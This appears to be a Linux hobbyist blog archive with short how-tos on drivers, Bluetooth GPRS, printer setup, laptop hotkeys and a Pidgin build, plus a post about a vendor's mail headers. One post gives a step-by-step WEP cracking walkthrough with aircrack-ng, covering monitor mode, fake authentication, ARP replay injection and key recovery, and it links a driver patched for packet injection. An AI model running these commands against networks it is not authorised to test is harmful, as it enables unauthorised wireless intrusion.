Linux geek

In the future, on this blog I’ll write only about linux, free software and related stuff, and my personal blog will be Cosmin Gorgovan.

You can read more details about the changes there.

Sorry for publishing a very short post, but I’m in a hurry to release my personal blog tonight. At the time of writing this post, I still have to tweak a few things.

Don’t forget to subscribe to the feed for my personal blog: http://feeds.feedburner.com/cosmin-gorgovan.

WiFi equipment comes with all sorts of antennas, from tiny ones to pretty big ones which supposedly give a better signal power. But what’s the actual difference between them? Just the shape and size of the plastic case! (this is about antennas included with most of the wireless equipment, not the extended range ones). Proof below:

Continue Reading »

UPDATE: Not anymore. It seems that only emails sent by the web server were delivered using qmail. After seeing this post, they replaced it with AXIGEN. See the comments below (romanian). It’s nice to know that you can make a difference.

Gecad is the company that produces the AXIGEN email server.

AXIGEN is a secure & powerful mail server which includes services such as SMTP / POP3 / IMAP / WebMail / WebAdmin with multiple AntiVirus and AntiSpam protection, allowing system administrators to have full control of the email traffic

After seeing Arny’s comment here [RO], I decided to go on the AXIGEN site and request an evaluation. When I got the email, it’s source looked like this (email addresses edited) :

From - Wed Jan 30 07:33:28 2008
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <editat@axigen.com>
X-Original-To: nuconteaza@linux-geek.org
Delivered-To: nuconteaza@linux-geek.org
Received: from node11.gecad.com (node11.ravantivirus.com [213.233.121.11])
(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
(No client certificate requested)
by linux-geek.org (Postfix) with ESMTP id 684A214E0ED
for <nuconteaza@linux-geek.org>; Wed, 30 Jan 2008 07:35:55 +0200 (EET)
Received: (qmail 12040 invoked by uid 81); 30 Jan 2008 05:37:33 -0000
Date: 30 Jan 2008 05:37:33 -0000
To: nuconteaza@linux-geek.org
Subject: Thank you for evaluating AXIGEN Mail Server
MIME-Version: 1.0
From: “AXIGEN Mail Server Website” <editat@axigen.com>
Content-Type: text/plain; charset=”ISO-8859-1″
Content-Transfer-Encoding: 7bit
Message-ID: <jvfzml.6bozlk@www.axigen.com>

Dear AXIGEN User,

Thank you for downloading AXIGEN Mail Server.

Getting started
———————-
For information regarding installation steps please see the INSTALL
file included in the product package.

Are you in a hurry?
Learn how to setup AXIGEN with AV and AntiSpam in just 15 Minutes:
http://www.axigen.com/articles/setup-with-antivirus-antispam.php

We want you to be successful in using and evaluating the software.
Please do not hesitate to contact us for any technical issue.

Technical support around the clock
———————-
During the evaluation period we provide free technical support
available 24×7. For any questions, report problems or request
enhancements you may contact your AXIGEN local partner or AXIGEN Team by
e-mail at mailto:editat@axigen.com.

A friendly person will assist you and answer all your questions.

Stay in touch with us
———————-
We would like to invite you to join our user forum:
http://www.axigen.com/forum, the place where our support team answers
product installation, configuration and troubleshooting questions.
Feel free to read, write, ask questions or place feature requests as
our tech guys will be pleased to answer you ASAP.

Special projects
———————-
For special implementations, that require a number of servers or heavy
testing in production environment please contact our sales team at
mailto:editat@axigen.com in order to receive a custom evaluation key.

Best regards,
AXIGEN Mail Server Team
http://www.axigen.com

So, they indeed use qmail. Why don’t they use their own email server? More important, why others should use their commercial product if Gecad uses an open source mail server? Is AXIGEN this bad?
Scuze pentru cititorii români, am zis că merită să citească despre asta un public mai larg

Acum cateva zile, dupa multa vreme, am reusit sa-mi inving lenea si sa certez de ce nu pot folosi output-ul xvideo in mplayer (-vo xv). De aproape un an, de cand am notebook-ul cu placa video ATI, am folosit doar driver-ul fglrx, pentru ca este singurul care are suport pentru accelerare 3D pentru X1150.

Bun, in general a mers stabil si lipsit de evenimente, cu singurul inconvenient ca trebuia sa folosesc pentru output GL (-vo gl). Din nou, nici o problema. Pana cand am realizat ca redarea nu este smooth, in special la filme de rezolutie mai mare sau daca am pornit un alt program care sa produca un load vizibil (de exemplu VMware sau Ktorrent). Solutia: dupa multe sapaturi, am aflat ca activarea suportului pentru xvideo este cat se poate de triviala. Mai jos, sectiunea “Device” din /etc/X11/xorg.conf, cu liniile relevante bolduite.

Section “Device”
Identifier “My Video Card”
Driver “fglrx”
Option “XAANoOffscreenPixmaps” “true”
Option “DRI” “true”
Option “VideoOverlay” “on”
Option “TexturedVideo” “on”
EndSection

Rezultatul: CPU load de 20 % (mplayer + X) vs load de 60-80% pentru un film VGA, iar filmele la rezolutii HD sunt redate cat se poate de smooth.

Edit: Wordpress messes up the formatting. Use normal quotes, replace — with two -.

First, some details about my setup.

• Very cheap bluetooth adapter - because I didn’t knew if it was going to work with linux
• Nokia 6310i - extremely stable GPRS connection
• Dell Inspiron 1501 notebook running Arch Linux- it doesn’t really matter
• Wap Unlimited from Orange - unlimited access to http hosts - good enough for webmail, blogging, etc

Install the necessary software:

bluez-utils, bluez-libs and wvdial should do. Run

pacman -Sy bluez-utils bluez-libs wvdial

…for Arch Linux or

apt-get install bluez-utils bluez-libs wvdial

…for Debian, Ubuntu and some other distributions. Anyway, you get the point. For other distros read the docs.

After installing it, we configure the software.

First, edit /etc/bluetooth/hcid.conf. Mine looks like this:

options {
autoinit yes;
security auto;
pairing multi;
pin_helper /etc/bluetooth/givepin;
}

device {
name “computer”;
class 0×100;
pkt_type DH1,DM1,HV1;
iscan enable; pscan enable;
lm master;
lp hold,sniff,park;
auth enable;
encrypt enable;
}

Now we need to configure rfcomm. First, find the MAC address of your mobile phone. You can insert the bluetooth adapter, start the HCI daemon by running hcid, and scan using hcitool scan. If you don’t have the file /dev/rfcomm0, create it by running mknod -mode 666 /dev/rfcomm0 c 216 0.

Then create the file /etc/bluetooth/givepin, which will give us a pin number:

#!/bin/sh
echo “PIN:12345″

Change with another, more secure number.

Then edit the file /etc/bluetooth/rfcomm.conf. It should look like below:

rfcomm0 {
# Automatically bind the device at startup
bind yes;

# Bluetooth address of the device
device 00:00:00:00:00:00; #change with the MAC found previously

# RFCOMM channel for the connection
channel 1;

# Description of the connection
comment “Bluetooth modem”;
}

Next we configure wvdial. Add at the end of /etc/ppp/peers/wvdial the following lines:

lcp-echo-failure 0
lcp-echo-interval 0

The main conf file for wvdial, /etc/wvdial should look like the one below. Replace wap in the init string with your access point’s name.

[Dialer Defaults]
Modem = /dev/rfcomm0
Baud = 115200
Init1 = ATZ
Init2 = AT+cgdcont=1,,”wap”
Carrier Check = no
Stupid Mode = no
Phone = *99***1#
New PPPD = yes
ISDN = 0
Modem Type = Analog Modem
Username = ”
Password = ”

When you first connect your phone, you need to pair it with the computer. Run passkey-agent –default your_pin first.

Start the HCI daemon by running hcid.

Connect to your phone by running rfcomm connect rfcomm0.

When you do this the first time, your phone will probably ask permission for pairing and a PIN number. Use the PIN you entered above.

Connect to GPRS by running wvdial.

Set the correct DNS servers by running cp /etc/ppp/resolv.conf /etc/.

If necessary, set the browser to use a proxy server. For Orange Romania, use 82.217.247.252:8799.

I had some problems with my printer’s Linux drivers, but now it works OK. This may work on other versions of Ubuntu or other distributions that use the dpkg/apt package management system. This is what you need to do:

First, make sure you have all the dependencies and needed packages:

sudo apt-get install libpng3 libtiff4 cupsys alien

If you want a GUI to configure CUPS and you are using Gnome, also install gnome-cups-manager. If you are using KDE I think you need to install kdeprint.

Download the official Linux drivers:

cd ~
wget http://download.canon.com.au/bj/i250linux/bjfilteri250-2.3-0.i386.rpm
wget http://download.canon.com.au/bj/i250linux/bjfiltercups-2.3-0.i386.rpm

Convert them to DEBs:

sudo alien –scripts bjfilteri250-2.3-0.i386.rpm
sudo alien –scripts bjfiltercups-2.3-0.i386.rpm

Before the “scripts” option should be two “-”, I don’t know why they are not displayed correctly.

Install the DEBs and remove the packages:

sudo dpkg -i bjfiltercups_2.3-1_i386.deb bjfilteri250_2.3-1_i386.deb
rm bjfiltercups-2.3-0.i386.rpm bjfilteri250_2.3-1_i386.deb bjfiltercups_2.3-1_i386.deb bjfilteri250-2.3-0.i386.rpm

Symlink some libraries, because the driver uses some old versions:

sudo ln -s /usr/lib/libtiff.so.4 /usr/lib/libtiff.so.3
sudo ln -s /usr/lib/libpng.so.3 /usr/lib/libpng.so.2

Restart CUPS:

sudo /etc/init.d/cupsys restart

Now just configure your printer. If using Gnome, go to System > Administration > Printing. The driver you need to use is /usr/share/cups/model/canoni250.ppd.

You should be done, print something to test that everything works OK.

We are going to use LinEAK. The hotkeys controlling the brightness should work even without an operating system (at least they do with the 1.7.0 BIOS on my Inspiron 1501). In adition, after following my instructions, the volume up, volume down and mute keys will be working.

First install LinEAK. You may compile the source or use a package. For Arch Linux use:

sudo pacman -Sy lineakd lineak_defaultplugin

We are going to use the keycode configuration for Dell D600, because it matches Dell Inspiron keyboards:

lineakd -c DELL-D600

Now edit the configuration file, because at the moment we just asigned some functions to the keys.

nano ~/.lineak/lineakd.conf

The last lines of the file should look something like this:

AudioLowerVolume = “amixer sset Master 10%- unmute”
AudioMute = “amixer sset Master mute”
AudioRaiseVolume = “amixer sset Master 10%+ unmute”

Edit or add them, if they don’t exist. Notice that you need amixer installed. You can change the percents to adjust how much the volume will lower or raise.

Next add LinEAK tot the list of startup programs. If you are using Gnome, go to System -> Preferences -> Sessions -> New. Use the name “LinEAK” and the command “lineakd &”. Click OK and log out. After you login, you should be able to control the volume using Fn+Page Up, Fn+Page Down and Fn+End, like on Windows and Ubuntu (on Ubuntu they work out-of-the-box).

As I promised, here you go. Just the 32 bit version for now. Works with current Ubuntu kernel, 2.6.20-16-generic and supports packet injection.

Tested and OK with my Dell 1390 WiFi card, using the bcm4311 chipset.

If you haven’t installed the firmware files:

cd ~

wget http://ubuntu.cafuego.net/pool/feisty-cafuego/bcm43xx/bcm43xx-firmware_1.3-1ubuntu2_all.deb

sudo dpkg -i ./bcm43xx-firmware_1.3-1ubuntu2_all.deb

sudo rm ./bcm43xx-firmware_1.3-1ubuntu2_all.deb

Install the module:

sudo rm /lib/modules/2.6.20-16-generic/kernel/drivers/net/wireless/bcm43xx/bcm43xx.ko

wget http://www.linux-geek.org/files/bcm43xx-2.6.20-16-injection.tar.bz2

sudo tar xvjf ./bcm43xx-2.6.20-16-injection.tar.bz2 -C /lib/modules/2.6.20-16-generic/kernel/drivers/net/wireless/bcm43xx/

Test it:

sudo rmmod bcm43xx

sudo modprobe bcm43xx

sudo iwlist scan

Disclaimer: Notice that you are only allowed to crack your personal network, please don’t use this information for other purposes.

If you are using a Broadcom 43xx based wireless card, Dell 1390, for example, install the module compiled by me (that’s for the 2.6.20-15-generic kernel, for the 2.6.20-16-generic one compile it yourself or wait until I’ll provide one get it here) . If you are using another wireless network card, search for instructions about patching your driver here.

Now that we have to proper driver, let’s install aircrack-ng 0.9. You may use another version, but this one includes the PTW attack, witch is faster and requires less packages. You’ll need to install some dev packages (actually, I think sudo apt-get install build-essential should do).

cd ~
wget http://download.aircrack-ng.org/aircrack-ng-0.9.tar.gz
tar -xzf ./aircrack-ng-0.9.tar.gz
cd aircrack-ng-0.9
make
sudo make install

If you got no error, aircrack-ng is installed. Now we activate the monitoring mode by running sudo airmon-ng start eth1.

Then you start airodump-ng by running sudo airodump-ng eth1 so that you can note the channel, the ESSID and the BSSID. ifconfig eth1 and note you MAC address.

Now we create a folder where to save the *.cap files and start airodump-ng.

mkdir ./dumps
cd ./dumps
airodump-ng -c channel - -bssid BSSID -w dump eth1

Now we do fake authentification (run the following command in another terminal, because we don’t want to stop airodump).

aireplay-ng -1 0 -e ESSID -a BSSID -h YOUR_MAC eth1

Next we start packet injection (in the same terminal as the fake authentification).

aireplay-ng -3 -b BSSID -h YOUR_MAC eth1

Now wait until you have something like 50.000 IVS (displayed in the #Data column). Then stop airodump-ng (CTRL+C). Run aircrack-ng -z dump*.cap. If it finds the key in a few seconds, we are done. If not, stop aircrack-ng (CTRL+C) and start airodump-ng again using the same command.

No deb available, so we are going to install it from source.

First, we install the (development) packages needed to compile Pidgin IM.

sudo apt-get build-dep gaim

We remove gaim.

sudo apt-get –purge autoremove gaim

We download pidgin to the home folder and extract it.

cd ~
wget http://heanet.dl.sourceforge.net/sourceforge/pidgin/pidgin-2.0.0.tar.bz2
tar xvjf ./pidgin-2.0.0.tar.bz2

We compile and install Pidgin IM.

cd pidgin-2.0.0
./configure
make
sudo make install

We test Pidgin IM by running pidgin.